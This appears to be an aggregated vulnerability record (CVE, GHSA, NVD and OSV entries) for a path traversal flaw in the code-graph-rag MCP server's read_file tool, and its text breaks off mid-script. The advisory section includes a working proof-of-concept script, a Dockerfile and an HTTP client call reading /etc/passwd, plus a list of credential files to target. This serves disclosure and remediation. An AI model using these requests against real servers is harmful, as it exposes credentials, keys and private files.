{"id":"CVE-2026-77604","aliases":["EUVD-2026-117780","GHSA-vvr2-h2jp-838m"],"status":"published","title":"Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read","description":"Code Graph RAG is an AI-powered knowledge graph and retrieval system for querying, understanding, and editing multi-language codebases. Prior to 0.0.345, the MCPToolsRegistry.read_file implementation in codebase_rag/mcp/tools.py joins attacker-controlled file_path input to project_root without resolving and verifying containment when offset or limit selects the paginated branch. An absolute path causes pathlib to discard the configured root, while relative traversal can also resolve outside it. The protected non-paginated branch uses validate_project_path, but the paginated branch bypasses that validation before opening the path. An unauthenticated caller of a network-exposed HTTP MCP server can therefore read arbitrary UTF-8-readable files available to the server process, including credentials, environment data, private keys, source, and configuration; local callers through the stdio transport can reach the same vulnerable code path. This issue is fixed in version 0.0.345.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00383,"percentile":0.32576,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-11-05T20:10:19Z","modified":"2026-11-09T22:51:03Z","fixes":[{"ecosystem":"PyPI","package":"code-graph-rag","fixed_in":["0.0.345"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"code-graph-rag","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.345"}]}]},{"source":"osv","ecosystem":"PyPI","package":"code-graph-rag","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.345"}]}],"versions":["0.0.100","0.0.148","0.0.187","0.0.209","0.0.245","0.0.246","0.0.79","0.0.84","0.0.88","0.0.99"]}],"products":[{"vendor":"vitali87","product":"code-graph-rag"}],"references":[{"url":"https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-vvr2-h2jp-838m","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/vitali87/code-graph-rag/commit/6541e920a27961fa8f3ff49ef38c0e0bd09cd626","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.345","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/openemr/openemr/security/advisories/GHSA-5h9g-m7q2-pv45","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77604","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vvr2-h2jp-838m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77604.json","tags":["advisory"]},{"url":"https://github.com/vitali87/code-graph-rag","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-77604","title":"Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read","description":"Code Graph RAG is an AI-powered knowledge graph and retrieval system for querying, understanding, and editing multi-language codebases. Prior to 0.0.345, the MCPToolsRegistry.read_file implementation in codebase_rag/mcp/tools.py joins attacker-controlled file_path input to project_root without resolving and verifying containment when offset or limit selects the paginated branch. An absolute path causes pathlib to discard the configured root, while relative traversal can also resolve outside it. The protected non-paginated branch uses validate_project_path, but the paginated branch bypasses that validation before opening the path. An unauthenticated caller of a network-exposed HTTP MCP server can therefore read arbitrary UTF-8-readable files available to the server process, including credentials, environment data, private keys, source, and configuration; local callers through the stdio transport can reach the same vulnerable code path. This issue is fixed in version 0.0.345.","status":"published","published":"2026-11-05T20:10:19.957Z","modified":"2026-11-09T22:51:03.789Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T23:35:22.059445Z"}],"euvd":[{"id":"EUVD-2026-117780","description":"Code Graph RAG is an AI-powered knowledge graph and retrieval system for querying, understanding, and editing multi-language codebases. Prior to 0.0.345, the MCPToolsRegistry.read_file implementation in codebase_rag/mcp/tools.py joins attacker-controlled file_path input to project_root without resolving and verifying containment when offset or limit selects the paginated branch. An absolute path causes pathlib to discard the configured root, while relative traversal can also resolve outside it. The protected non-paginated branch uses validate_project_path, but the paginated branch bypasses that validation before opening the path. An unauthenticated caller of a network-exposed HTTP MCP server can therefore read arbitrary UTF-8-readable files available to the server process, including credentials, environment data, private keys, source, and configuration; local callers through the stdio transport can reach the same vulnerable code path. This issue is fixed in version 0.0.345.","status":"published","published":"2026-11-05T20:10:19Z","modified":"2026-11-09T22:51:03Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-10T00:18:43.414497Z"}],"ghsa":[{"id":"GHSA-vvr2-h2jp-838m","title":"Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read","description":"### Summary\n\nThe `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python's `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. \n\n### Details\n\n**Vulnerable location:** `codebase_rag/mcp/tools.py:556–565` (`MCPToolsRegistry.read_file`)\n\nThe `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path:\n\n```python\n# codebase_rag/mcp/tools.py:556-565\nasync def read_file(\n    self, file_path: str, offset: int | None = None, limit: int | None = None\n) -\u003e str:\n    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n    try:\n        if offset is not None or limit is not None:\n            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE\n            start = offset if offset is not None else 0\n\n            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK\n```\n\nBecause `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root.\n\nThe **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73–75`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.\n\n**Full data-flow (source → sink):**\n\n1. `codebase_rag/config.py:302` — HTTP MCP default host is `0.0.0.0`.\n2. `codebase_rag/cli.py:717` — CLI exposes `mcp-server`.\n3. `codebase_rag/cli.py:726–731` — `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`.\n4. `codebase_rag/mcp/server.py:208–210` — Starlette mounts the MCP HTTP endpoint.\n5. `codebase_rag/mcp/tools.py:227–249` — `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`.\n6. `codebase_rag/mcp/server.py:113–127` — `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`.\n7. `codebase_rag/mcp/tools.py:561–565` — paginated branch builds `full_path` and calls `open(full_path)` without any boundary check.\n\nThe vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed.\n- Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py).\n\n**Build and run:**\n\n```bash\n# From the repository root (parent of vuln-001/)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\ndocker run --rm vuln001-poc\n```\n\nThe Dockerfile installs the `codebase_rag` package from the local repository source, creates a \"safe\" project root at `/tmp/safe-project-root`, and runs `poc.py`.\n\n**What the PoC does (`poc.py`):**\n\n1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database.\n2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = \"/tmp/safe-project-root\"` — matching what the real server does.\n3. Demonstrates the pathlib bypass: `Path(\"/tmp/safe-project-root\") / \"/etc/hosts\"` resolves to `Path(\"/etc/hosts\")`.\n4. Calls `registry.read_file(\"/etc/hosts\", offset=0, limit=5)` — the actual vulnerable method from the installed package.\n5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass.\n\n**Expected output:**\n\n```\n[MCP] read_file: /etc/hosts (offset=0, limit=5)\n[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n[+] read_file() returned:\n# Lines 1-5 of 7\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::\tip6-localnet\nff00::\tip6-mcastprefix\nff02::1\tip6-allnodes\n[+] EXPLOIT SUCCESSFUL\n[+] Content of '/etc/hosts' exfiltrated via path traversal\n[+] Project root boundary '/tmp/safe-project-root' was completely bypassed\n[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\n```\n\n**Equivalent HTTP transport attack (when server is running):**\n\n```bash\npython3 - \u003c\u003c'PY'\nimport anyio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:8080/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            result = await session.call_tool(\n                \"read_file\",\n                {\"file_path\": \"/etc/passwd\", \"offset\": 0, \"limit\": 10},\n            )\n            print(result.content[0].text)\n\nanyio.run(main)\nPY\n```\n\n**Remediation:**\n\n```diff\n--- a/codebase_rag/mcp/tools.py\n+++ b/codebase_rag/mcp/tools.py\n@@\n     async def read_file(\n         self, file_path: str, offset: int | None = None, limit: int | None = None\n     ) -\u003e str:\n         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n         try:\n             if offset is not None or limit is not None:\n-                full_path = Path(self.project_root) / file_path\n+                project_root = Path(self.project_root).resolve()\n+                try:\n+                    full_path = (project_root / file_path).resolve()\n+                    full_path.relative_to(project_root)\n+                except (ValueError, RuntimeError):\n+                    return te.ERROR_WRAPPER.format(\n+                        message=lg.FILE_OUTSIDE_ROOT.format(action=\"access\")\n+                    )\n                 start = offset if offset is not None else 0\n\n                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.\n\nAn unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include:\n\n- `/etc/passwd`, `/etc/shadow` — credential disclosure.\n- Application secrets, API keys, `.env` files, or private keys stored anywhere on the host.\n- Source code or configuration outside the intended project repository.\n- Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage).\n\nThe vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build tools needed for some dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        gcc build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable repository source\nCOPY repo/ /app/repo/\n\n# Install pure-Python dependencies (pymgclient is a native Memgraph client that\n# requires a live Memgraph instance; we mock it in the PoC script instead)\nRUN pip install --upgrade pip --quiet \u0026\u0026 \\\n    pip install --quiet \\\n        loguru \\\n        \"mcp\u003e=1.25.0\" \\\n        \"pydantic-ai\u003e=1.102.0\" \\\n        \"pydantic-settings\u003e=2.12.0\" \\\n        \"python-dotenv\u003e=1.2.1\" \\\n        \"tiktoken\u003e=0.12.0\" \\\n        \"toml\u003e=0.10.2\" \\\n        \"tree-sitter==0.25.2\" \\\n        \"tree-sitter-python\u003e=0.25.0\" \\\n        \"watchdog\u003e=6.0.0\" \\\n        \"typer\u003e=0.21.1\" \\\n        \"rich\u003e=14.2.0\" \\\n        \"prompt-toolkit\u003e=3.0.52\" \\\n        \"diff-match-patch\u003e=20241021\" \\\n        \"click\u003e=8.3.1\" \\\n        \"protobuf\u003e=6.33.5\" \\\n        \"defusedxml\u003e=0.7.1\" \\\n        \"huggingface-hub\u003e=1.7.2\" \\\n        \"pathspec\u003e=1.0.4\" \\\n        \"griffe\u003e=1.0,\u003c2\" \\\n        httpx \\\n        anyio\n\n# Install the codebase_rag package from the cloned repo.\n# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;\n# all other runtime deps were already installed above.\nRUN pip install --no-deps --quiet -e /app/repo/\n\n# Create the \"safe\" project root that the victim server would normally restrict to\nRUN mkdir -p /tmp/safe-project-root \u0026\u0026 \\\n    echo \"# This is a safe project file\" \u003e /tmp/safe-project-root/README.md\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read\n=============================================================================\nRepository : vitali87/code-graph-rag\nVersion    : \u003c= 0.0.343 (unpatched at HEAD commit f5d6bfd)\n\nVulnerable code location:\n    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)\n\nRoot cause:\n    When 'offset' or 'limit' is provided, the method builds the path as:\n        full_path = Path(self.project_root) / file_path          # line 562\n    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.\n    The non-paginated branch is protected by @validate_project_path, but this branch\n    has no such guard, so any absolute path is opened unconditionally.\n\nAttack path (HTTP transport):\n    MCP client  -\u003e  POST /mcp  -\u003e  call_tool(\"read_file\", {\"file_path\": \"/etc/hosts\",\n                                               \"offset\": 0, \"limit\": 5})\n    -\u003e MCPToolsRegistry.read_file(\"/etc/hosts\", offset=0, limit=5)\n    -\u003e full_path = Path(\"/safe/root\") / \"/etc/hosts\"  ==\u003e  Path(\"/etc/hosts\")\n    -\u003e open(\"/etc/hosts\")  # no boundary check, file content returned\n\nThis PoC exercises the actual MCPToolsRegistry.read_file() method from the\ninstalled package.  The Memgraph client (mgclient) is pre-mocked in sys.modules\nbecause it is a native C extension that requires a live database; it is NOT used\nby the vulnerable code path.  The MCPToolsRegistry instance is created via\nobject.__new__() to skip the __init__ that would connect to Memgraph -- the\npaginated read_file branch only reads self.project_root, nothing else.\n\"\"\"\n\nimport asyncio\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\n\n# ---------------------------------------------------------------------------\n# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path\n# ---------------------------------------------------------------------------\n# mgclient is a C extension (Memgraph client).  It is imported at the top of\n# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the\n# module import succeed without a native library or a live Memgraph server.\nsys.modules[\"mgclient\"] = MagicMock()\nsys.modules[\"pymgclient\"] = MagicMock()\n\n# ---------------------------------------------------------------------------\n# Step 2: Import the vulnerable class from the installed package\n# ---------------------------------------------------------------------------\nprint(\"[*] Importing MCPToolsRegistry from installed codebase_rag package ...\")\ntry:\n    from codebase_rag.mcp.tools import MCPToolsRegistry\nexcept Exception as exc:\n    print(f\"[!] Import failed: {exc}\")\n    sys.exit(2)\nprint(\"[+] Import successful\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)\n# ---------------------------------------------------------------------------\n# __init__ connects to Memgraph and Qdrant -- neither is available here.\n# The paginated read_file branch uses ONLY self.project_root, so setting\n# just that attribute is sufficient to reproduce the vulnerability.\nSAFE_ROOT = \"/tmp/safe-project-root\"\n\nregistry = object.__new__(MCPToolsRegistry)\nregistry.project_root = SAFE_ROOT\n\nprint(f\"[*] MCPToolsRegistry instance created via object.__new__()\")\nprint(f\"[*] project_root = {SAFE_ROOT!r}\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 4: Demonstrate the pathlib absolute-path bypass\n# ---------------------------------------------------------------------------\nATTACK_PATH = \"/etc/hosts\"\n\njoined = Path(SAFE_ROOT) / ATTACK_PATH\nprint(\"[*] Pathlib join behaviour (the root cause):\")\nprint(f\"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}\")\nprint(f\"    =\u003e {joined}\")\nprint(f\"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}\")\n\nassert str(joined) == ATTACK_PATH, (\n    f\"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}\"\n)\nprint(\"[+] CONFIRMED: pathlib discards project_root when file_path is absolute\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 5: Call the actual vulnerable method\n# ---------------------------------------------------------------------------\nprint(f\"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)\")\nprint(f\"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path\")\nprint(f\"[*] Resulting full_path       = {joined}\")\nprint()\n\n\nasync def run_poc() -\u003e str:\n    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)\n\n\nresult = asyncio.run(run_poc())\n\nprint(\"[+] read_file() returned:\")\nprint(\"-\" * 60)\nprint(result)\nprint(\"-\" * 60)\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 6: Validate the output contains real /etc/hosts content\n# ---------------------------------------------------------------------------\nwith open(ATTACK_PATH) as fh:\n    actual_hosts = fh.read()\n\n# Accept any of: pagination header, loopback address, or raw /etc/hosts lines\nconfirmed = (\n    \"Lines \" in result                             # pagination header present\n    or \"127.0.0.1\" in result                       # standard loopback entry\n    or \"localhost\" in result                        # standard hostname entry\n    or \"::1\" in result                             # IPv6 loopback\n    or any(\n        line.strip() in result\n        for line in actual_hosts.splitlines()\n        if line.strip() and not line.startswith(\"#\")\n    )\n)\n\nif confirmed:\n    print(\"[+] EXPLOIT SUCCESSFUL\")\n    print(f\"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal\")\n    print(f\"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed\")\n    print()\n    print(\"[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\")\n    sys.exit(0)\nelse:\n    print(\"[-] Validation failed -- could not find /etc/hosts content in result\")\n    print(f\"[-] Returned value: {result!r}\")\n    sys.exit(1)\n```","status":"published","published":"2026-11-09T21:21:32Z","modified":"2026-11-09T21:21:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T21:50:00.934325Z"}],"nvd":[{"id":"CVE-2026-77604","description":"Code Graph RAG is an AI-powered knowledge graph and retrieval system for querying, understanding, and editing multi-language codebases. Prior to 0.0.345, the MCPToolsRegistry.read_file implementation in codebase_rag/mcp/tools.py joins attacker-controlled file_path input to project_root without resolving and verifying containment when offset or limit selects the paginated branch. An absolute path causes pathlib to discard the configured root, while relative traversal can also resolve outside it. The protected non-paginated branch uses validate_project_path, but the paginated branch bypasses that validation before opening the path. An unauthenticated caller of a network-exposed HTTP MCP server can therefore read arbitrary UTF-8-readable files available to the server process, including credentials, environment data, private keys, source, and configuration; local callers through the stdio transport can reach the same vulnerable code path. This issue is fixed in version 0.0.345.","status":"published","published":"2026-11-05T20:18:00.017Z","modified":"2026-11-05T20:18:00.017Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-05T21:56:50.099578Z"}],"osv":[{"id":"CVE-2026-77604","title":"Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read","description":"Code Graph RAG is an AI-powered knowledge graph and retrieval system for querying, understanding, and editing multi-language codebases. Prior to 0.0.345, the MCPToolsRegistry.read_file implementation in codebase_rag/mcp/tools.py joins attacker-controlled file_path input to project_root without resolving and verifying containment when offset or limit selects the paginated branch. An absolute path causes pathlib to discard the configured root, while relative traversal can also resolve outside it. The protected non-paginated branch uses validate_project_path, but the paginated branch bypasses that validation before opening the path. An unauthenticated caller of a network-exposed HTTP MCP server can therefore read arbitrary UTF-8-readable files available to the server process, including credentials, environment data, private keys, source, and configuration; local callers through the stdio transport can reach the same vulnerable code path. This issue is fixed in version 0.0.345.","status":"published","published":"2026-11-05T20:10:19.957Z","modified":"2026-11-07T02:48:37.91548758Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-07T03:08:10.477794Z"},{"id":"GHSA-vvr2-h2jp-838m","title":"Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read","description":"### Summary\n\nThe `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python's `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. \n\n### Details\n\n**Vulnerable location:** `codebase_rag/mcp/tools.py:556–565` (`MCPToolsRegistry.read_file`)\n\nThe `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path:\n\n```python\n# codebase_rag/mcp/tools.py:556-565\nasync def read_file(\n    self, file_path: str, offset: int | None = None, limit: int | None = None\n) -\u003e str:\n    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n    try:\n        if offset is not None or limit is not None:\n            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE\n            start = offset if offset is not None else 0\n\n            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK\n```\n\nBecause `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root.\n\nThe **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73–75`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.\n\n**Full data-flow (source → sink):**\n\n1. `codebase_rag/config.py:302` — HTTP MCP default host is `0.0.0.0`.\n2. `codebase_rag/cli.py:717` — CLI exposes `mcp-server`.\n3. `codebase_rag/cli.py:726–731` — `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`.\n4. `codebase_rag/mcp/server.py:208–210` — Starlette mounts the MCP HTTP endpoint.\n5. `codebase_rag/mcp/tools.py:227–249` — `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`.\n6. `codebase_rag/mcp/server.py:113–127` — `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`.\n7. `codebase_rag/mcp/tools.py:561–565` — paginated branch builds `full_path` and calls `open(full_path)` without any boundary check.\n\nThe vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed.\n- Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py).\n\n**Build and run:**\n\n```bash\n# From the repository root (parent of vuln-001/)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\ndocker run --rm vuln001-poc\n```\n\nThe Dockerfile installs the `codebase_rag` package from the local repository source, creates a \"safe\" project root at `/tmp/safe-project-root`, and runs `poc.py`.\n\n**What the PoC does (`poc.py`):**\n\n1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database.\n2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = \"/tmp/safe-project-root\"` — matching what the real server does.\n3. Demonstrates the pathlib bypass: `Path(\"/tmp/safe-project-root\") / \"/etc/hosts\"` resolves to `Path(\"/etc/hosts\")`.\n4. Calls `registry.read_file(\"/etc/hosts\", offset=0, limit=5)` — the actual vulnerable method from the installed package.\n5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass.\n\n**Expected output:**\n\n```\n[MCP] read_file: /etc/hosts (offset=0, limit=5)\n[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n[+] read_file() returned:\n# Lines 1-5 of 7\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::\tip6-localnet\nff00::\tip6-mcastprefix\nff02::1\tip6-allnodes\n[+] EXPLOIT SUCCESSFUL\n[+] Content of '/etc/hosts' exfiltrated via path traversal\n[+] Project root boundary '/tmp/safe-project-root' was completely bypassed\n[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\n```\n\n**Equivalent HTTP transport attack (when server is running):**\n\n```bash\npython3 - \u003c\u003c'PY'\nimport anyio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:8080/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            result = await session.call_tool(\n                \"read_file\",\n                {\"file_path\": \"/etc/passwd\", \"offset\": 0, \"limit\": 10},\n            )\n            print(result.content[0].text)\n\nanyio.run(main)\nPY\n```\n\n**Remediation:**\n\n```diff\n--- a/codebase_rag/mcp/tools.py\n+++ b/codebase_rag/mcp/tools.py\n@@\n     async def read_file(\n         self, file_path: str, offset: int | None = None, limit: int | None = None\n     ) -\u003e str:\n         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n         try:\n             if offset is not None or limit is not None:\n-                full_path = Path(self.project_root) / file_path\n+                project_root = Path(self.project_root).resolve()\n+                try:\n+                    full_path = (project_root / file_path).resolve()\n+                    full_path.relative_to(project_root)\n+                except (ValueError, RuntimeError):\n+                    return te.ERROR_WRAPPER.format(\n+                        message=lg.FILE_OUTSIDE_ROOT.format(action=\"access\")\n+                    )\n                 start = offset if offset is not None else 0\n\n                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.\n\nAn unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include:\n\n- `/etc/passwd`, `/etc/shadow` — credential disclosure.\n- Application secrets, API keys, `.env` files, or private keys stored anywhere on the host.\n- Source code or configuration outside the intended project repository.\n- Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage).\n\nThe vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build tools needed for some dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        gcc build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable repository source\nCOPY repo/ /app/repo/\n\n# Install pure-Python dependencies (pymgclient is a native Memgraph client that\n# requires a live Memgraph instance; we mock it in the PoC script instead)\nRUN pip install --upgrade pip --quiet \u0026\u0026 \\\n    pip install --quiet \\\n        loguru \\\n        \"mcp\u003e=1.25.0\" \\\n        \"pydantic-ai\u003e=1.102.0\" \\\n        \"pydantic-settings\u003e=2.12.0\" \\\n        \"python-dotenv\u003e=1.2.1\" \\\n        \"tiktoken\u003e=0.12.0\" \\\n        \"toml\u003e=0.10.2\" \\\n        \"tree-sitter==0.25.2\" \\\n        \"tree-sitter-python\u003e=0.25.0\" \\\n        \"watchdog\u003e=6.0.0\" \\\n        \"typer\u003e=0.21.1\" \\\n        \"rich\u003e=14.2.0\" \\\n        \"prompt-toolkit\u003e=3.0.52\" \\\n        \"diff-match-patch\u003e=20241021\" \\\n        \"click\u003e=8.3.1\" \\\n        \"protobuf\u003e=6.33.5\" \\\n        \"defusedxml\u003e=0.7.1\" \\\n        \"huggingface-hub\u003e=1.7.2\" \\\n        \"pathspec\u003e=1.0.4\" \\\n        \"griffe\u003e=1.0,\u003c2\" \\\n        httpx \\\n        anyio\n\n# Install the codebase_rag package from the cloned repo.\n# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;\n# all other runtime deps were already installed above.\nRUN pip install --no-deps --quiet -e /app/repo/\n\n# Create the \"safe\" project root that the victim server would normally restrict to\nRUN mkdir -p /tmp/safe-project-root \u0026\u0026 \\\n    echo \"# This is a safe project file\" \u003e /tmp/safe-project-root/README.md\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read\n=============================================================================\nRepository : vitali87/code-graph-rag\nVersion    : \u003c= 0.0.343 (unpatched at HEAD commit f5d6bfd)\n\nVulnerable code location:\n    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)\n\nRoot cause:\n    When 'offset' or 'limit' is provided, the method builds the path as:\n        full_path = Path(self.project_root) / file_path          # line 562\n    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.\n    The non-paginated branch is protected by @validate_project_path, but this branch\n    has no such guard, so any absolute path is opened unconditionally.\n\nAttack path (HTTP transport):\n    MCP client  -\u003e  POST /mcp  